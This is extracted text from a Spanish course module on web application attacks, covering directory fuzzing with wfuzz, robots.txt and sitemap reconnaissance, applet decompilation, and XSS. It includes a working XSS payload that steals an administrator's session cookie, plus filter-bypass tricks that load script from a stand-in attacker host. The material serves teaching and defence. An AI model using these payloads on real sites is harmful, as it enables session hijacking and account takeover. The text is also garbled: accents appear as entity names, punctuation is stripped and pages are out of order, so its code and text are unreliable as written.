vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 10: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web

quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de

administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil

especiacutefico del usuario en el sitio web

bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing

Mediante Javascript como hemos visto podemos modificar el comporta-

miento y la apariencia de una paacutegina web Esto permite crear un formula-

rio de login falso o redirigir el submit de uno existente hacia un dominio

de nuestro control

bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-

nicas que explotan vulnerabilidades XSS

bull Por otra parte aunque menos habitual es posible realizar un ataquedede-

negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)

Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-

gan un uso intensivo de recursos muy costosos en ancho de banda o ca-

pacidad de procesamiento de un servidor de forma asiacutencrona

bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga

dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-

cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red

social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo

Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita

otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-

cacioacuten en los perfiles afectados

Como se puede comprobar las posibilidades que ofrece el XSS son realmen-

te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar

coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no

permite el acceso a ficheros del sistema y a las propias funcionalidades que

ofrezca el sitio web objeto del posible ataque

112 Meacutetodos para introducir XSS (cross site scripting)

Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-

cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas

de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo

malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las

zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo

Javascript introducido

bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo

Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-

cutar

(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal

CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web

ltscriptgtalert(iexclHola Mundo)ltscriptgt

bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-

putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-

cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos

lo habitual es que el teacutermino introducido se copie dentro del campo del

buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-

tinuacioacuten

ltinput type=text name=q2 value=[busqueda] gt

Como se puede observar nuestro coacutedigo queda situado entre unas comillas

dobles de un atributo perteneciente a una etiqueta HTML que no permiten

que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la

que nos encontremos y posteriormente insertar el coacutedigo Javascript

gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=

Esta seriacutea la combinacioacuten resultante

ltinput type=text name=q value=gt

ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt

Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para

evitar de este modo que el coacutedigo HTML quede malformado

bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser

comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten

dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-

trar en una situacioacuten de este tipo es el siguiente

lt-- La busqueda fue [busqueda] --gt

Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-

te caso se deberiacutean cerrar los caracteres de comentario HTML introducir

nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios

HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse

perfectamente con el coacutedigo original de la paacutegina

--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-

Esta podriacutea ser la combinacioacuten adecuada

lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt

lt-- --gt

CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web

bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-

do las paacuteginas utilizan datos introducidos por el usuario para generar al-

guacuten tipo de evento personalizado o para almacenar datos que se van a usar

posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea

como la siguiente

ltscriptgt var busqueda = [busqueda] ltscriptgt

En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-

demos directamente introducir el coacutedigo Javascript como se refleja en la

siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-

tante cuando sea necesario evitar los filtros anti-XSS que las eliminan

alert(iexclHola Mundo)

Hemos utilizado las barras al final de la sintaxis para lograr que el resto de

la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-

tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-

do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML

debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores

no lo ejecutaraacuten

ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt

bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-

nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye

dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-

tido del supuesto de que no existen filtros anti-XSS implementados Jun-

to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de

coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP

113 Diseccionando un ataque

Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un

ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-

okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten

consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador

uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-

lizamos hacia un servidor Este identificador asociado a un usuario que se ha

ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-

denciales para cada paacutegina que el usuario visita dentro de un mismo dominio

Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos

al servidor este nos asociaraacute en todo momento al usuario al que estamos su-

plantando

CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web

El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en

una paacutegina web es localizar zonas funcionales de esta que permitan la intro-

duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente

si queda almacenado en una base de datos o bien de forma no permanente

si no es asiacute

En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio

de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible

ataque XSS

Figura 2 Enviacuteo de mensaje

Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo

de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una

serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres

a introducir seriacutean

bull Comilla simple (lsquo)

bull Comilla doble (ldquo)

bull Siacutembolo de mayor que (gt)

bull Siacutembolo de menor que (lt)

bull Barra ()

bull Espacio ( )

Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-

sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar

su existencia de forma totalmente definitiva siempre existe la posibilidad de

encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras

clave como script onload o javascript

En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-

raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-

queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-

mer ataque de XSS

En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-

luser De este modo todas las pruebas que realicemos se enviacutean directamente a

este usuario evitando alertar al usuario administrador En el campo del Cuer-

CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web

po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos

muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El

resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten

Figura 3 XSS antes de ser enviado

En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-

gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido

y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto

ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja

de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del

resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada

obtendremos una ventana de alerta con el mensaje especificado

Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el

coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve

el servidor

lta href=indexphpaction=deletegtltimg src=trashpng gtBorr

lta href=indexphpaction=logoutgtltimg src=system-log-outpn

ltdiv class=contenidogt

ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt

ltscriptgtltpgtltdivgt

ltdivgt

ltbodygt

Como se puede observar todos y cada uno de los caracteres que hemos intro-

ducido han quedado almacenados en la base de datos y se han copiado en el

coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro

Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se

estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-

do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-

mente o que borre todos sus mensajes La lista de posibilidades de acciones

maliciosas seriacutea interminable

CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web

En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de

mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript

and XML) pasando a enviar mensajes de manera automaacutetica utilizando para

ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que

reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada

conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios

administrativos lograremos control total sobre la aplicacioacuten

Generalmente seraacute necesaria una buena base de Javascript para explotar de

manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos

deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-

cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-

tivo del mismo

ltscriptgt

d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest()

else

x=new ActiveXObject(MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario

De manera totalmente transparente para el usuario afectado este nos la en-

viaraacute mediante un mensaje Procedamos al anaacutelisis

bull Inicialmente se declara una variable d Esta variable contiene los valores

de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-

cacioacuten cuando mandamos un mensaje Detalle importante a observar es el

contenido de la variable ampmensaje documentcookie un objeto del DOM2

de la paacutegina que contiene todas las cookies asociadas al dominio actual

bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten

de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-

plorer como Firefox o similares Este objeto es el usado para realizar las

peticiones AJAX

bull Con open() establecemos las condiciones que se van a utilizar para enviar el

formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene

(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

